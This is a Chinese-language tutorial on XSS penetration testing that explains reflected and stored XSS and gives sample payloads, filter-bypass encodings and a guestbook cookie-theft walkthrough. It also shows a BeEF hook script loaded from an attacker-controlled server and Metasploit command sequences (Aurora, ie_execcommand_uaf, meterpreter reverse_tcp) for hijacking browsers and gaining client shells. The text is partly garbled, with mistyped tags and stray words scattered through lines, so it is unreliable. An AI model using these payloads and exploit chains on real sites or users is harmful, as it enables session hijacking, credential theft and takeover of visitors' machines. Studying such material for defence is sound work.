Web渗透测试(xss漏洞)

Xss介绍——javascript

XSS (cross-site script) 跨站脚本自1996年诞生以来,一直被OWASP(open web application security project) 评为十大安全漏洞中的第二威胁漏洞。也有黑客把XSS当作新型的“缓冲区溢出攻击”而JavaScript是新型的shellcode20116月份,新浪微博爆发了XSS蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。XSS最大的特色就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。php

因为web应用程序对用户的输入过滤不严产生的。攻击者利用网站漏把恶意的脚本代码注入到网页中,当用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。html

 

危害——
网络钓鱼,包括盗取各种的用户帐号
窃取用户cookie
窃取用户浏览请回话
强制弹出广告页面、刷流量
网页挂马
提高用户权限,进一步渗透网站
传播跨站脚本蠕虫等等java

 

 

Xss脚本示例——web

<html>shell

<head >xsx test </head >windows

<body>浏览器

<script>alert(“xss”)</script >安全

</body>服务器

</html>

这段代码使用alert函数来执行打开一个消息框,消息框中显示xss信息,使用xss弹出恶意警告框,代码为:

escript>alert(“xss") </script>

XSS输入也多是htm代码段,若是使网页不停的刷新,代码为

<meta http-equiv=”refresh” content ="0;” >

嵌入其余网站连接的代码为:

< ifame src http://xxxxx.com width =0 height =0> </ifame>

 

 

Xss分类——

反射型xss(一次性)

 

存储型xss(持久有效)

反射型:

反射型XSS脚本也称做非持久型、参数型跨站脚本、这类型的脚本是最多见的也是使用最为普遍的一种,主要用于将恶意的脚本附加到URL地址的参数中
如:http://www.xx.com/search.php.?key="><script>alert("xss")</script>通常使用的将构造好的URL发给受害者,是受害者点击触发,并且只执行一次。

 

存储型:

存储型XSS比反射型跨站脚本更具威胁性,而且可能影响到web服务器的自身安全。此类XSS不须要用户点击特定的URL就能执行脚本,攻击者事先将恶意JavaScript代码上传或存储到有漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。

 

 

Xss经常使用工具——(火狐插件)

Hackebar

Live http headers

Editor cookie

 

Live HTTP Headers

该工具能够用来抓取http/https的数据链接包括get post),获取web应用程序流出的流入的数据。咱们能够利用该工具发掘web应用程序中的安全漏洞。

 

Editor cookie

Cookie信息修改器

 

 

 

 

示例:

留言板盗取cookie信息

 

 

当管理审核后,弹出及有xss漏洞

 

 

去注册一个免费xss平台,而后建立一个项目,查看代码,复制到留言板上

 

而后xss免费平台就会返回内容

 

 

这个就是网站管理员cookie

 

 

绕过xss限制的几种办法

magic_quote_gpc

HEX编码

改变大小写

关闭标签

 

绕过magic_quote_gpc

magic_quotes_gpc=ONphp中的安全设置,开启后会把一些特殊字符进行轮换,好比’(

引号)转换为\’”(引号)号转换为\” \转换为\\

好比<script> alert(“xss”);</script>会转换为<script> alert(\”xss\”);</script>这样XSS就不生效了。针对开启了magic quotes_gpc的网站,能够经过javascript中的String.fromCharCode方法来绕过,能够把alert(“XSS")转换为String.fromCharCode(108,101,114,116,40 34,88,83,83,34,41)那么XSS语句就变成了<script>String.fromCharCode(108,101,114,11640,34,88,83,83,34.,41,59) </script>String.fromCharCode()javascri中的字符申方法,用来 把ASCI转换为字符审

 

HEX编码:

能够对语句进行hex编码来绕过XSS规则。

好比: <script> alert("xss");</script >

能够转换为:

%3c%73%63%72%69%70%74%61%6c965%72%74%28%22%783%73%22%29%3b%3c%2f%73%6

在线网站:

http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html

http://www.asciitohex.com/

 

改变大小写:

在测试过程当中,咱们能够改变测试语句的大小来绕过xss规则,如<script> alert("xss");</script >能够转换为<ScRipt> Alert("Xss");</sCripT >

 

关闭标签:

<body><script> alert(“xss”);</script> < >

 

 

 

 

XSS+Beef的使用

示例1:利用beef劫持客户端浏览器

启动beef(用户名beef,密码beef

<script src="http://本身管理的服务器ip:3000/hook.js"></script>把这恶意代码上传到有xss漏洞的网站

 

 

当有人访问这个网站的时候,恶意代码生效,咱们返回本机beef控制台查看上线客户机

 

 

而后劫持浏览器

 

 

 

 

示例2.利用beef+msf拿用户shell(基于客户端ie6

先劫持浏览器,而后启动msf

msf > use exploit/windows/browser/ms10_002_aurora(选择漏洞模块)

msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp(选择回链)

msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.156客户机访问的地址

msf exploit(ms10_002_aurora) > set SRVPORT 7777客户机访问的端口

msf exploit(ms10_002_aurora) > set URIPATH /网页的根/

msf exploit(ms10_002_aurora) > set LHOST 192.168.230.100客户机回链,写本身的地址

msf exploit(ms10_002_aurora) > set LPORT 4444回链端口

msf exploit(ms10_002_aurora) > exploit 开始攻击

msf生成的那个链接扔beef去,让客户端访问指定的网站就会触发这个漏洞,就能够拿到客户端权限。

 

 

回车》键入sessions -i sessions -i 1shell(成功拿到客户端权限)

 

 

 

示例3.利用beef+msf拿用户shell(基于客户端使用ie789

先劫持浏览器

msf > use exploit/windows/browser/ie_execcommand_uaf

msf exploit(ie_execcommand_uaf) > show options

msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.230.156

msf exploit(ie_execcommand_uaf) > set SRVPORT 8888

msf exploit(ie_execcommand_uaf) > set URIPATH /

msf exploit(ie_execcommand_uaf) > exploit

而后把生成的这个链接扔beef里,让客户端访问,msf就有返回回链会话,就能够拿到客户端权限了

 

 

Xss漏洞扫描与留长期后门——

经常使用工具:

Wvs

Safe3

W3af

Vega

Xss扫描插件+burp(去下载扫描插件在导入就能够)

相关文章
相关标签/搜索